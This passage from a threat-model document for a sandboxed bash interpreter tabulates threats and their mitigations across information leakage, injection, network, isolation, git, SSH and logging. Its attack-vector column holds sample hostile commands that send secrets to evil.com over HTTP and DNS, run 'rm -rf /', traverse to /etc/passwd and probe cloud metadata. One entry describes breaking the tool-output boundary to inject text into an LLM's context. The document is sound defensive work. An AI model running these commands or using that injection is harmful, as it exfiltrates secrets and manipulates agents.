user-visible output channel that could leak internal markers or exceed output limits | Visibility filtering + output-byte cap applied when buildingfinal_env (interpreter/mod.rs`) | MITIGATED |

TM-INF-022: Generalizes TM-INF-016 to the whole builtin surface. Originating bug: builtins/jq/ formatted jaq compile/parse errors with {:?}, leaking the jaq File struct, the prepended compat-defs source, and raw Undefined::Filter(N) tags. Fixed via format_jq_compile_errors / format_jq_load_errors (short jq-style messages, ≤ 1 KB), then generalized via the static + dynamic + fuzz guards in the table. New builtins wrapping library errors must use Display ({}) or a domain formatter — reference shape: format_compile_errors in builtins/jq/errors.rs.

The fuzz layer also catches three sister threats with the same machinery (bashkit::testing::assert_fuzz_invariants):

  • TM-INF-013 regression: fuzz_init() seeds the host OS env with the magic value BASHKIT_FUZZ_HOST_CANARY_47a83bcf_DO_NOT_LEAK once per process. Every fuzz iteration asserts the canary appears in neither stdout nor stderr — a builtin reading std::env::vars() instead of the sandboxed ctx.env trips this immediately.
  • TM-INF-016 (host paths): UNIVERSAL_BANNED includes /rustc/, /.cargo/registry/, target/{debug,release}/deps/, /.rustup/toolchains/ so leaked panic backtraces / build-artifact paths fail the assertion.
  • stderr flooding: per-call stderr capped at MAX_STDERR_BYTES (1 KB) — one bad input that produces 10 MB of library-error spam trips this.

Fuzz/proptest targets inline arbitrary input bytes into shell scripts, so bash/ls/uutils clap CLIs echo the input verbatim in error chrome (bash: <cmd>: command not found, error: unexpected argument '<input>' found, usage/tip lines, …). Those echoes can accidentally form a banned substring — e.g. input Tok" renders as bash: Tok:: command not found, matching the parser-token shape Tok::; or input containing /rustc/ lands in clap's quoted-argument chrome and trips the host-path check. These are not internal Debug leaks. To keep the detector strict on real internals while suppressing this false-positive class, assert_fuzz_invariants strips lines matching a recognized real-shell or clap error template before the banned-shape check; the byte-length cap and host-canary check still run on the unfiltered stderr, so flood and TM-INF-013 regressions are still caught. The strict per-builtin path (assert_no_leak) is unchanged — non-fuzz tests must not produce shell echoes at all.

TM-INF-013: The jq builtin previously called std::env::set_var() to expose shell variables to jaq's env function. This also made host process env vars (API keys, tokens) visible. Additionally, set_var is thread-unsafe (unsound in Rust 2024 edition). Fixed: a custom env def in builtins/jq/compat.rs reads from a $__bashkit_env__ global wired up in builtins/jq/mod.rs from ctx.env/ctx.variables.

TM-INF-014: $$ previously returned std::process::id() (real host PID); now returns virtual PID — see table.

TM-INF-015: see table — allowlist "blocked" errors previously echoed user:pass@ URLs.

TM-INF-016: multiple error paths leaked internals — error.rs wrapped std::io::Error (host paths), network/client.rs wrapped reqwest errors (resolved IPs, TLS info), git/client.rs included VFS paths/remote URLs, scripted_tool/execute.rs used {:?} while BashTool used error_kind(). Fixed: consistent Display format; external errors wrapped with sanitized messages (sanitize_error_message(), Error::network_sanitized()).

Current Risk: MEDIUM - Caller must sanitize environment variables; jq leaks host env

Caller Responsibility (TM-INF-001): Do NOT pass sensitive env vars:

// UNSAFE - leaks secrets
Bash::builder()
    .env("DATABASE_URL", "postgres://user:pass@host/db")
    .build();

// SAFE - only pass needed vars
Bash::builder()
    .env("HOME", "/home/user")
    .build();

3.2 Host Information

IDThreatAttack VectorMitigationStatus
TM-INF-005Hostnamehostname, $HOSTNAMEReturns configurable virtual valueMITIGATED
TM-INF-006Usernamewhoami, $USERReturns configurable virtual valueMITIGATED
TM-INF-007IP addressip addr, ifconfigNot implementedMITIGATED
TM-INF-008System infouname -aReturns configurable virtual valuesMITIGATED
TM-INF-009User IDidReturns hardcoded uid=1000MITIGATED

Current Risk: NONE. Implementation: builtins/system.rshostname (default "bashkit-sandbox"), uname (hardcoded Linux 5.15.0), whoami (default "sandbox"), id (uid/gid 1000), all configurable via Bash::builder().username(..).hostname(..).

3.3 Network Exfiltration

IDThreatAttack VectorMitigationStatus
TM-INF-010HTTP exfilcurl https://evil.com?data=$SECRETNetwork allowlistMITIGATED
TM-INF-011DNS exfilnslookup $SECRET.evil.comNo DNS commandsMITIGATED
TM-INF-012Timing channelResponse time variationsNot addressedMinimal risk

Current Risk: LOW - Network allowlist blocks unauthorized destinations


4. Injection Attacks

4.1 Command Injection

IDThreatAttack VectorMitigationStatus
TM-INJ-001Variable injection$user_input containing ; rm -rf /Variables not re-parsedMITIGATED
TM-INJ-002Backtick injection`$malicious`Parsed as command subMITIGATED
TM-INJ-003eval bypasseval $user_inputeval sandboxed (builtins only)MITIGATED

Current Risk: MEDIUM - Internal variable namespace injection (TM-INJ-009) needs remediation

| TM-INJ-009 | Internal variable namespace injection | Set _NAMEREF_, _READONLY_, etc. directly | Every write path (set_variable, read/read -a, printf -v, local, declare, readonly, export, dotenv, unset) checks is_internal_variable() and refuses internal-prefix names; set / declare -p filter them from listings (TM-INF-017) | MITIGATED |

| TM-INJ-011 | Cyclic nameref silent resolution | Cyclic namerefs (a→b→a) silently resolve after 10 iterations instead of erroring | resolve_nameref() tracks visited names in a HashSet; on cycle detection it returns the original name and the lookup sees no value | MITIGATED | | TM-INJ-018 | dotenv internal variable prefix injection | .env file with _NAMEREF_x=target sets internal interpreter variables via ctx.variables.insert() | Dotenv::execute calls is_internal_variable(&full_key) and skips injected internal-prefix keys (builtins/dotenv.rs:138) | MITIGATED | | TM-INJ-019 | unset removes readonly variables | readonly X=v; unset X removes the variable despite readonly attribute | execute_unset_builtin and Unset builtin both consult the VarAttrs::READONLY flag in the dedicated var_attrs map, emit bash: unset: <name>: cannot unset: readonly variable, and return exit 1 | MITIGATED | | TM-INJ-020 | declare overwrites readonly variables | readonly X=v; declare X=new overwrites without error | declare assignment path consults VarAttrs::READONLY via is_var_readonly(), emits bash: declare: <name>: readonly variable, returns exit 1 | MITIGATED | | TM-INJ-021 | export overwrites readonly variables | readonly X=v; export X=new overwrites without error | export NAME=VALUE consults VarAttrs::READONLY via ShellRef::is_var_readonly(), emits bash: export: <name>: readonly variable, returns exit 1 | MITIGATED | | TM-INJ-022 | XML boundary break via tool output (sanitizeOutput) | When sanitizeOutput is enabled the JS adapters (anthropic, openai) wrap tool output in <tool_output>…</tool_output> markers. A script that emits </tool_output> in its stdout can close the marker early and inject arbitrary text into the LLM context, bypassing the boundary | Escape &, <, > in content before inserting between tags (anthropic.ts, openai.ts formatOutput). Tests: ai-adapters.spec.ts — "sanitizeOutput escapes </tool_output> in stdout" and "sanitizeOutput escapes & < > in stdout" for both adapters | FIXED | | TM-INJ-023 | Template injection via #each data values | template builtin: data values containing template markers ({{, #each) could be re-expanded as directives when interpolated | Template markers escaped in data values before interpolation (builtins/template.rs) | MITIGATED |

TM-INJ-011 (mitigated): interpreter/mod.rs::resolve_nameref tracks visited names in a HashSet; on cycle detection it returns the original name, so ${a} looks up the (unset) top-level variable rather than infinite-recursing. We do not emit Bash's exact circular name reference warning, but the safety property — no hang, no stack overflow, no silent traversal to a stale variable — is upheld. Regression tests: tests/threat_model_tests.rs::tm_inj_011_*.

TM-INJ-009 / TM-INJ-018 (mitigated): historically the interpreter recorded attributes via magic prefixes (_NAMEREF_*, _READONLY_*, _INTEGER_*, _UPPER_*, _LOWER_*, _ARRAY_READ_*, _SHIFT_COUNT, _SET_POSITIONAL) inside the shared variables HashMap, letting scripts (or .env files) forge attributes by writing the prefixed key directly. Attributes now live in a dedicated var_attrs: HashMap<String, VarAttrs> bitset and namerefs in a dedicated namerefs map, unreachable from bash — so even a key slipping past the filter could not influence interpreter behavior. is_internal_variable() still rejects the legacy prefixes on every write path (set_variable, read, printf -v, local, declare, readonly, export, dotenv at builtins/dotenv.rs:138, unset) as defense-in-depth (and to suppress confusing echo $_NAMEREF_x output), and set / declare -p filter them from listings (TM-INF-017). Regression tests: tests/security_audit_pocs.rs (declare/readonly/export/local cannot inject legacy markers), tests/threat_model_tests.rs::tm_inj_009_*, and tests/threat_model_tests.rs::tm_inj_018_dotenv_rejects_internal_prefixes.

4.2 Path Injection

IDThreatAttack VectorMitigationStatus
TM-INJ-004Null bytecat "file\x00/../etc/passwd"Rust strings no nullsMITIGATED
TM-INJ-005Path traversal../../../../etc/passwdPath normalizationMITIGATED
TM-INJ-006Encoding bypassURL/unicode encodingPathBuf handlesMITIGATED
TM-INJ-010Tar path traversal within VFStar -xf with ../../../etc/passwd entry namesarchive.rs rejects entries whose absolute name escapes the extract base or whose resolved path doesn't starts_with(&extract_base), returning tar: <name>: path traversal blocked and exit 1MITIGATED
TM-INJ-017Unzip path traversal within VFSunzip with ../../../etc/passwd entry names in custom BKZIP formatzip_cmd.rs::validate_extract_entry_path rejects any path component that is ParentDir, RootDir, Prefix, or CurDir and surfaces unzip: invalid archive entry path: <name>MITIGATED

TM-INJ-010 (mitigated): see table. Regression tests: builtins::archive::tests::test_tar_extract_path_traversal_dotdot_blocked, …_absolute_blocked, …_dir_dotdot_blocked.

TM-INJ-017 (mitigated): see table. Regression test: builtins::zip_cmd::tests::test_unzip_rejects_path_traversal_entries.

Current Risk: LOW - Rust's type system prevents most attacks; tar traversal is VFS-contained

4.3 XSS-like Issues

IDThreatAttack VectorMitigationStatus
TM-INJ-007HTML in outputScript outputs <script> and caller renders stdout/stderr in a web UICaller must HTML-escape rendered output and use a restrictive Content Security PolicyCALLER RISK
TM-INJ-008Terminal escapeANSI escape sequencesCaller should sanitizeCALLER RISK

Current Risk: LOW - Bashkit does not render output itself; embedding UIs own display sanitization.

Caller Responsibility (TM-INJ-007, TM-INJ-008): HTML-escape and strip terminal escapes from result.stdout/stderr before display.


5. Network Security

5.1 DNS Manipulation

IDThreatAttack VectorMitigationStatus
TM-NET-001DNS spoofingResolve to wrong IPNo DNS resolutionMITIGATED
TM-NET-002DNS rebindingRebind after allowlist checkLiteral host matching + PrivateIpFilteringResolver blocks private IPs at connect timeMITIGATED
TM-NET-003DNS exfiltrationdig secret.evil.comNo DNS commandsMITIGATED

Current Risk: NONE. Implementation: network/allowlist.rs::matches_pattern() — allowlist matches literal host strings exactly, never resolved IPs; no DNS lookup.

5.2 Network Bypass

IDThreatAttack VectorMitigationStatus
TM-NET-004IP instead of hostcurl http://93.184.216.34Literal IP blocked unless allowedMITIGATED
TM-NET-005Port scanningcurl http://internal:$portPort must match allowlistMITIGATED
TM-NET-006Protocol downgradeHTTPS → HTTPScheme must matchMITIGATED
TM-NET-007Subdomain bypassevil.example.comExact host matchMITIGATED
TM-NET-015Domain allowlist scheme bypassallow_domain() permits both http and httpsBy design; use URL patterns for scheme controlBY DESIGN
TM-NET-016Domain allowlist port bypassallow_domain() permits any portBy design; use URL patterns for port controlBY DESIGN
TM-NET-017Wildcard subdomain exfiltrationcurl https://$SECRET.example.comWildcards not supported; exact domain match onlyMITIGATED

Current Risk: LOW - Strict allowlist enforcement

5.3 HTTP Attack Vectors

IDThreatAttack VectorMitigationStatus
TM-NET-008Large response DoScurl https://evil.com/huge.binResponse size limit (10MB)MITIGATED
TM-NET-009Connection hangServer never respondsConnection timeout (10s default, user-configurable, clamped 1s-10min)MITIGATED
TM-NET-010Slowloris attackSlow response drippingRead timeout (30s default, user-configurable, clamped 1s-10min)MITIGATED
TM-NET-011Redirect bypassLocation: http://evil.comRedirects not auto-followedMITIGATED
TM-NET-012Chunked encoding bombInfinite chunked responseResponse size limit (streaming)MITIGATED
TM-NET-013Gzip bomb / Zip bomb10KB gzip → 10GB decompressedAuto-decompression disabledMITIGATED
TM-NET-014DNS rebind via redirectRedirect to rebinded IPManual redirect requires allowlist checkMITIGATED
TM-NET-015Host proxy leakageHTTP_PROXY/HTTPS_PROXY env vars route sandboxed traffic through host proxy.no_proxy() on reqwest builderMITIGATED
TM-NET-018JSON body injectionhttp POST url name='x","admin":true' via unescaped string formattingUse serde_json for JSON constructionMITIGATED
TM-NET-019Query param injectionhttp GET url q=='foo&admin=true' injects extra paramsURL-encode via local x-www-form-urlencoded encoderMITIGATED
TM-NET-020Form body injectionhttp --form POST url user='x&role=admin' injects extra fieldsURL-encode via local x-www-form-urlencoded encoderMITIGATED
TM-NET-021Bot identity spoofingForge requests as a trusted botEd25519 request signing (bot-auth feature, specs/request-signing.md)MITIGATED (opt-in)
TM-NET-022IPv4-mapped IPv6 SSRF bypassAAAA record returns ::ffff:127.0.0.1, ::ffff:10.0.0.1, ::ffff:169.254.169.254, etc. — embedded v4 address would re-enter the v4 address space at the kernel/socket layer, but the v6 branch of is_private_ip only inspected is_loopback/is_unspecified/fd00::/8/fe80::/10, treating everything else as publicis_private_ip normalizes IPv4-mapped (::ffff:0:0/96) and IPv4-compatible (::a.b.c.d) v6 forms back to v4 via Ipv6Addr::to_ipv4_mapped() and applies the v4 classifier (is_private_ipv4). Tested via test_is_private_ip_v4_mapped_v6_* cases for loopback, RFC1918, AWS metadata (169.254.169.254), CGNAT, unspecified, public, and IPv4-compatible. Mitigation reaches both the v6 connect-time PrivateIpFilteringResolver and the URL/precheck path.FIXED (#1569)
TM-NET-023HTTP-handler SSRF via fail-open precheck and rebind windowHttpClient::check_private_ip returned Ok(()) on URL-parse failures and on URLs with no host, letting malformed targets reach the connect path with no IP filter. Custom HttpHandler implementations are doubly exposed because they don't get reqwest's connect-time PrivateIpFilteringResolver — even a successful precheck leaves a rebind window between validation and the moment the handler opens its own socket.(1) check_private_ip now fails closed on malformed URLs and on URLs with no host. The direct-IP branch and the successful-DNS branch remain fail-closed against private addresses (including the v4-mapped IPv6 forms covered by TM-NET-022). Tested via test_check_private_ip_fails_closed_on_invalid_url, test_check_private_ip_fails_closed_on_no_host, test_check_private_ip_blocks_literal_private_ip, test_check_private_ip_blocks_metadata_via_v4_mapped_v6. (2) The HttpTransport trait doc explicitly assigns SSRF responsibility to network-dialing custom transports and points them at bashkit::network::is_private_ip for the same classifier the default reqwest path uses; HttpTransportRequest.pinned_addrs additionally forwards the precheck's resolve-then-check result so transports (and host egress boundaries behind them) can pin the validated addresses and close the rebind window (see specs/http-transport.md). DNS-lookup errors at the precheck still pass through (fail-open by design — the rebind / connect-time threat is the handler's responsibility, and failing closed there breaks legitimate before_http hook flows that intentionally target unresolved hostnames).MITIGATED (#1570)

Current Risk: LOW - Multiple mitigations in place

Bot-auth signing (feature bot-auth): When configured, all outbound HTTP requests from curl/wget/http builtins are transparently signed with Ed25519 per RFC 9421. Signing is non-blocking — failures send requests unsigned. See specs/request-signing.md.

5.4 Credential Injection

Per-host HTTP credentials injected by the embedding host without exposing the secret to the script. See specs/credential-injection.md.

IDThreatAttack VectorMitigationStatus
TM-NET-024Real credential exposed to scriptScript reads an env var to recover the secretInjection mode never puts the secret in the script environment; placeholder mode exposes only a random opaque placeholder, replaced on the wireMITIGATED
TM-NET-025Injected credential exfiltrated to unapproved hostScript sends the credential/placeholder to an attacker hostInjection scoped to allowlist scheme+host+port+path-prefix patterns; placeholder substitution only fires for matching destinations, and the allowlist blocks unapproved hostsMITIGATED
TM-NET-026Authorization header spoofingScript sets a competing same-name header to impersonate a credentialOverwrite semantics — injected headers replace script-set same-name headers before dispatchMITIGATED
TM-NET-027Injected credential leak in errors/tracesCredential value surfaces in an error message or trace logValues redacted on all error paths (extends TM-INF-015); traces show [CREDENTIAL] / [CREDENTIAL_PLACEHOLDER]; the Credential Debug impl redacts header values. Tested by test_credential_debug_redacts and test_placeholder_does_not_leak_raw_credentialMITIGATED

Accepted risks (v1): an approved host that reflects the Authorization header in its response body (echo attack) is out of scope — limit approved hosts to trusted APIs; response scrubbing via after_http is future work. Placeholder strings reveal that a credential exists (not its value) — accepted metadata leakage.

Current Risk: LOW — injection is scoped to the allowlist and values are redacted everywhere they could surface.

5.5 Availability (Fail-Open Auth)

IDThreatAttack VectorMitigationStatus
TM-AVAIL-001Optional auth failure blocks legitimate requestsA transient signing or credential-injection failure (missing placeholder, callback error, key load failure) hard-fails an otherwise valid requestNon-blocking by design: bot-auth signing and credential injection fail open — on failure the request is sent unsigned / without the credential rather than aborted. The security enforcement (allowlist, SSRF precheck) still runs; only the optional auth augmentation is skipped. Accepted trade-off: availability over strict auth attachment, since the destination enforces its own authn. See specs/request-signing.md, specs/credential-injection.mdACCEPTED

Implementation: network/client.rsDEFAULT_MAX_RESPONSE_BYTES 10MB, timeouts default 30s / connect 10s, clamped to [1s, 10min] (TM-NET-008/009/010); redirect(Policy::none()) (TM-NET-011/014); .no_gzip().no_brotli().no_deflate() (TM-NET-013); .no_proxy() (TM-NET-015); read_body_with_limit() streams and checks size per chunk (TM-NET-008/012).

5.4 HTTP Client Mitigations

MitigationImplementationPurpose
URL allowlistPre-request validationPrevent unauthorized destinations
Response size limitStreaming with byte countingPrevent memory exhaustion
Connection timeout10s default (user-configurable via --connect-timeout)Prevent connection hang
Read timeout30s default (user-configurable via -m/-T)Prevent slow-response DoS
Timeout clampingAll timeouts clamped to [1s, 10min]Prevent resource exhaustion
No auto-redirectPolicy::none()Prevent redirect-based bypass
No auto-decompressno_gzip/no_brotli/no_deflatePrevent zip bomb attacks
Content-Length checkPre-download validationFail fast on huge files
User-Agent controlledHttpClient defaults to "bashkit/*"; curl builtin defaults to "curl/8.7.1" and honors explicit overridesIdentify non-builtin requests while matching curl wire behavior

5.5 Cryptographic Material Security

IDThreatAttack VectorMitigationStatus
TM-CRY-001Bot-auth private key recovery from process memoryCore dump, heap inspection, /proc/<pid>/mem after key useBotAuthConfig zeroizes Ed25519 seed in Drop; debug output redacts key materialMITIGATED

Current Risk: LOW - Key material remains process-resident while configured, but is now explicitly zeroized on drop.

5.6 curl/wget Security Model

Request Flow:

  1. URL allowlist check BEFORE any network I/O — scheme, literal host, port, path prefix must match; deny → "access denied" (exit 7)
  2. Connect with timeout (10s TCP + TLS); failure → "request failed" (exit 1)
  3. Content-Length pre-check — header > 10MB aborts early ("response too large", exit 63)
  4. Stream response with size limit — abort if accumulated bytes > 10MB (exit 63)
  5. Redirects (only with -L): each Location URL re-checked against allowlist from step 1; max 10 redirects

Exit Codes:

  • 0: Success
  • 1: General error
  • 3: URL malformed
  • 7: Access denied (allowlist)
  • 22: HTTP error (with -f flag)
  • 28: Timeout
  • 47: Max redirects exceeded
  • 63: Response too large

5.7 Domain Egress Allowlist Design Rationale

Bashkit's network allowlist uses literal host matching — the virtual equivalent of SNI (Server Name Indication) filtering on TLS client-hello headers. This is the same approach used by production sandbox environments (e.g., Vercel Sandbox) for egress control.

Why not DNS-based filtering? Scripts can hardcode IP addresses, bypassing any DNS-level controls entirely.

Why not IP-based filtering? A single IP address can host many domains (shared hosting, CDNs, cloud load balancers). Blocking/allowing by IP is too coarse-grained.

Why not an HTTP proxy? Proxies only work for HTTP traffic and require applications to be configured to use them (or respect HTTP_PROXY env vars). They don't cover other TLS-based protocols like database connections.

Why literal host / SNI matching? SNI filtering inspects the server_name extension in the TLS client-hello, which the client must send in cleartext before encryption begins. This works for all TLS traffic regardless of protocol. Since bashkit controls the HTTP layer and provides no raw socket access, literal host matching in the allowlist achieves equivalent coverage — every outbound connection goes through the HttpClient, which checks the hostname against the allowlist before any network I/O occurs.

Domain allowlist vs URL patterns:

The allow_domain() API provides a simpler interface when callers only need domain-level control:

Capabilityallow_domain()allow() (URL pattern)
Scheme enforcementNo (any scheme)Yes (exact match)
Port enforcementNo (any port)Yes (exact match)
Path restrictionNo (any path)Yes (prefix match)
SimplicityHighMedium

Callers requiring scheme or port enforcement should use URL patterns (allow()) instead of domain rules. Both rule types can be combined on the same allowlist; a URL is permitted if it matches either a domain rule or a URL pattern.

Wildcard subdomains: Wildcard patterns (e.g., *.example.com) are deliberately not supported. They enable data exfiltration by encoding secrets in subdomains: curl https://$SECRET.example.com. Only exact domain matches are allowed (TM-NET-017).


6. Multi-Tenant Isolation

6.1 Cross-Session Access

IDThreatAttack VectorMitigationStatus
TM-ISO-001Shared filesystemAccess other session's filesSeparate Bash instances with separate FSMITIGATED
TM-ISO-002Shared memoryRead other session's dataRust memory safety, per-instance stateMITIGATED
TM-ISO-003Resource starvationOne session exhausts limitsPer-instance limitsMITIGATED
TM-ISO-004Cross-session env pollution via jqstd::env::set_var() in jqCustom jaq global variable ($__bashkit_env__)MITIGATED
TM-ISO-007Alias leakageAliases defined in session A visible in session BPer-instance alias HashMapMITIGATED
TM-ISO-008Trap handler leakageTrap from session A fires in session BPer-instance trap HashMapMITIGATED
TM-ISO-009Shell option leakageset -e in session A affects session BPer-instance SHOPT_* variablesMITIGATED
TM-ISO-010Exported env var leakageexport in session A visible in session BPer-instance env HashMapMITIGATED
TM-ISO-011Array leakageIndexed/associative arrays cross sessionsPer-instance array HashMapsMITIGATED
TM-ISO-012Working directory leakagecd in session A changes session B's cwdPer-instance cwd: PathBufMITIGATED
TM-ISO-013Exit code leakage$? from session A visible in session BPer-instance last_exit_codeMITIGATED
TM-ISO-014Concurrent variable leakageRace condition leaks vars between parallel sessionsPer-instance state, no shared mutablesMITIGATED
TM-ISO-015Concurrent FS leakageRace condition leaks files between parallel sessionsSeparate Arc<FileSystem> per instanceMITIGATED
TM-ISO-016Snapshot/restore side effectsrestore_shell_state() affects other sessionsSnapshot is per-instance, no shared stateMITIGATED
TM-ISO-017Adversarial variable probingScript enumerates common secret var namesDefault-empty env, no host env inheritanceMITIGATED
TM-ISO-018/proc /sys probingScript reads /proc/self/environ etc.VFS has no real /proc or /etcMITIGATED
TM-ISO-019jq cross-session envjq 'env.X' sees other session's varsjaq reads from injected global, not std::envMITIGATED
TM-ISO-020Subshell mutation leakageSubshell vars leak to parent or sibling sessionsSnapshot/restore in subshell + per-instance stateMITIGATED

| TM-ISO-004 | Cross-session env pollution via jq | std::env::set_var() in jq modifies process-wide env, visible to concurrent sessions | Custom $__bashkit_env__ jaq context variable replaces std::env access | FIXED | | TM-ISO-005 | Session-level cumulative counter bypass | Repeated exec() calls each reset ExecutionCounters, giving unbounded aggregate resources | SessionLimits (limits.rs) caps cumulative commands and exec() call count across the lifetime of a Bash instance; counters are preserved across reset_transient_state() | MITIGATED | | TM-ISO-006 | No per-instance variable/memory budget | Unbounded HashMap growth in variables, arrays, functions exhausts process memory | MemoryLimits (limits.rs) caps max_variable_count, max_total_variable_bytes, max_array_entries, max_function_count, and max_function_body_bytes per instance | MITIGATED | | TM-ISO-021 | EXIT trap leaks across exec() calls | EXIT trap set in one exec() fires in subsequent exec() calls on same Bash instance | reset_transient_state() clears traps at the start of every exec() | MITIGATED | | TM-ISO-022 | $? leaks across exec() calls | Exit code from one exec() visible as $? in next exec() instead of resetting to 0 | reset_transient_state() zeroes last_exit_code at the start of every exec() | MITIGATED | | TM-ISO-023 | set -e leaks across exec() calls | set options (-e, -x, etc.) persist across exec() calls, causing unexpected abort behavior | reset_transient_state() clears SET_OPTION_VARS | FIXED | | TM-ISO-024 | $? leaks into VFS subprocess | Parent last_exit_code visible inside VFS script subprocess, causing false set -e failures | execute_script_content() sets last_exit_code = 0, clears nounset_error, and clears traps for the child | MITIGATED |

TM-ISO-004: Fixed — see table; env wiring in builtins/jq/compat.rs and builtins/jq/mod.rs.

TM-ISO-005: counters reset per exec(), so a tenant splitting work across many calls got unlimited aggregate resources. Fixed by SessionLimits (see table); issue #655.

TM-ISO-006: unbounded HashMap growth (variables, arrays, assoc_arrays, functions) could OOM the process. Fixed by MemoryLimits (see table); issue #656.

Note: PROC_SUB_COUNTER (AtomicU64) is a global monotonic counter for process substitution paths (/dev/fd/proc_sub_N). This is a minor timing side-channel (reveals approximate execution ordering across concurrent sessions) but does not leak data since paths are resolved within each session's isolated VFS.

Current Risk: MEDIUM - cumulative resource bypass (TM-ISO-005) and memory exhaustion (TM-ISO-006)

Implementation: each session is a separate Bash::builder() instance with its own Arc<InMemoryFs> and limits — no shared mutable state (TM-ISO-001 through TM-ISO-020).


7. Internal Error Handling

7.1 Panic Recovery

IDThreatAttack VectorMitigationStatus
TM-INT-001Builtin panic crashInvalid input triggers panic in builtincatch_unwind wrapper on all builtinsMITIGATED
TM-INT-002Panic info leakPanic message reveals sensitive dataSanitized error messages (no panic details)MITIGATED
TM-INT-003Date format panicInvalid strftime format causes chrono panicPre-validation with StrftimeItemsMITIGATED
TM-INT-007/dev/urandom empty with head -chead -c 16 /dev/urandom returns empty output; pipe from virtual device to builtin loses dataread_file_for_builtin (builtins/mod.rs) reads /dev/urandom//dev/random as Latin-1 chars (each byte 0x00-0xFF maps 1:1 to a char) so head -c N returns N bytes of randomness in both the path-argument form and the cat /dev/urandom | head -c N pipe formMITIGATED

Current Risk: LOW. Implementation: interpreter/mod.rs wraps every builtin call in AssertUnwindSafe(..).catch_unwind() (TM-INT-001) and converts panics to the sanitized bash: <name>: builtin failed unexpectedly error — never exposing panic details (TM-INT-002).

Date Format Validation (TM-INT-003): builtins/date.rs::validate_format() pre-validates strftime formats via StrftimeItems, rejecting Item::Error before chrono::format() can panic.

7.2 Error Message Safety

IDThreatAttack VectorMitigationStatus
TM-INT-004Path leak in errorsError shows real filesystem pathsVirtual paths only in messagesMITIGATED
TM-INT-005Memory addr in errorsDebug output shows addressesDisplay impl hides addressesMITIGATED
TM-INT-006Stack trace exposurePanic unwinds show call stackcatch_unwind prevents propagationMITIGATED

Error Type Design: error.rs

  • All error messages are designed for end-user display
  • Internal error variant for unexpected failures (never includes panic details)
  • Error types implement Display without exposing internals

8. Git Security

Bashkit provides optional virtual git operations via the git feature. This section documents security threats related to git operations and their mitigations.

8.1 Repository Access

IDThreatAttack VectorMitigationStatus
TM-GIT-001Unauthorized clonegit clone https://evil.com/repoRemote URL allowlist (Phase 2)PLANNED
TM-GIT-002Host identity leakCommit reveals real name/emailConfigurable virtual identityMITIGATED
TM-GIT-003Host git config accessRead ~/.gitconfigNo host filesystem accessMITIGATED
TM-GIT-004Credential theftAccess git credential storeNo host filesystem accessMITIGATED
TM-GIT-005Repository escapegit clone outside VFSAll paths in VFSMITIGATED

Current Risk: LOW. Implementation: git/client.rs — author identity ([user] name/email) is built from configurable self.config values, never read from host ~/.gitconfig (TM-GIT-002).

8.2 Git-specific DoS

IDThreatAttack VectorMitigationStatus
TM-GIT-006Large repo cloneClone huge repositoryFS size limits + response limit (Phase 2)PLANNED
TM-GIT-007Many git objectsCreate millions of git objectsmax_file_count FS limitMITIGATED
TM-GIT-008Deep historyVery long commit historyLog limit parameterMITIGATED
TM-GIT-009Large pack filesHuge .git/objects/packmax_file_size FS limitMITIGATED

Current Risk: LOW - Filesystem limits apply to all git operations

8.3 Remote Operations (Phase 2)

IDThreatAttack VectorMitigationStatus
TM-GIT-010Push to unauthorized remotegit push evil.comRemote URL allowlistPLANNED
TM-GIT-011Fetch from unauthorized remotegit fetch evil.comRemote URL allowlistPLANNED
TM-GIT-012SSH key accessUse host SSH keysHTTPS only (no SSH)PLANNED
TM-GIT-013Git protocol bypassUse git:// protocolHTTPS onlyPLANNED

| TM-GIT-014 | Branch name path injection | branch_create(name="../../config") overwrites .git/config via Path::join() | git/client.rs::validate_ref_name rejects refs containing .., leading /, control chars, or other path-injection patterns before any Path::join | MITIGATED | | TM-GIT-015 | Terminal-escape/control-char injection via stored git metadata | Config values, author names, and commit messages are echoed back by git config/git log; embedded control characters could inject terminal escapes into agent-visible output | Values sanitized to strip control characters on output (git/client.rs config read + format_log) | MITIGATED |

TM-GIT-014: branch names were used directly in Path::join() (git/client.rs), so ../../config could overwrite .git/config (VFS-confined repo corruption). Fixed by validate_ref_name — see table.

Current Risk: LOW for remote ops (not yet implemented); MEDIUM for local git name injection


8.5 SSH Security

IDThreatAttack VectorMitigationStatus
TM-SSH-001Unauthorized host accessConnect to arbitrary hostsHost allowlist (default-deny)MITIGATED
TM-SSH-002Credential leakageRead host ~/.ssh/ keysKeys from VFS onlyMITIGATED
TM-SSH-003Session exhaustionOpen many concurrent sessionsMax concurrent sessions limitMITIGATED
TM-SSH-004OOM via large responseServer sends huge outputStreaming size limitMITIGATED
TM-SSH-005Connection hangServer never respondsConfigurable timeoutMITIGATED
TM-SSH-006MITM via unverified host keyAttacker intercepts SSH connectionStrict host key checking (default: on)MITIGATED
TM-SSH-007Non-standard port accessConnect to services on unexpected portsPort allowlistMITIGATED
TM-SSH-008Remote command injectionInject via remote path in SCPShell-escape remote pathsMITIGATED

TM-SSH-006: The RusshHandler verifies server host keys against trusted keys configured via SshConfig::trusted_host_key(). When strict_host_key_checking is enabled (default), connections to hosts without a matching trusted key are rejected. When disabled, a warning is emitted to stderr.


9. Logging Security

Bashkit provides optional structured logging via the logging feature. This section documents security threats related to logging and their mitigations.

9.1 Sensitive Data Leakage

IDThreatAttack VectorMitigationStatus
TM-LOG-001Secrets in logsLog env vars containing passwords/tokensLogConfig redactionMITIGATED
TM-LOG-002Script content leakLog full scripts containing embedded secretsScript content disabled by defaultMITIGATED
TM-LOG-003URL credential leakLog URLs with user:pass@hostURL credential redactionMITIGATED
TM-LOG-004API key detectionLog values that look like API keys/JWTsEntropy-based detectionMITIGATED

Current Risk: LOW. Implementation: LogConfig (logging.rs) redacts by default — should_redact_env() matches PASSWORD/SECRET/TOKEN/KEY-style names, redact_url() strips user:pass@ to [REDACTED]@, redact_value() detects API-key/JWT shapes by entropy.

Caller Warning: LogConfig::unsafe_disable_redaction() / unsafe_log_scripts() may expose sensitive data in logs.

9.2 Log Injection

IDThreatAttack VectorMitigationStatus
TM-LOG-005Newline injectionScript contains \n[ERROR] fakeNewline escapingMITIGATED
TM-LOG-006Control char injectionANSI escape sequences in logsControl char filteringMITIGATED

Current Risk: LOW. Implementation: logging::sanitize_for_log() escapes newlines (preventing fake log entries, TM-LOG-005) and filters control chars (TM-LOG-006).

9.3 Log Volume Attacks

IDThreatAttack VectorMitigationStatus
TM-LOG-007Log floodingScript generates excessive output → many logsValue truncationMITIGATED
TM-LOG-008Large value DoSLog very long stringsmax_value_length limit (200)MITIGATED

Current Risk: LOW. Implementation: LogConfig::truncate() caps values at max_value_length (TM-LOG-008).

9.4 Logging Security Configuration

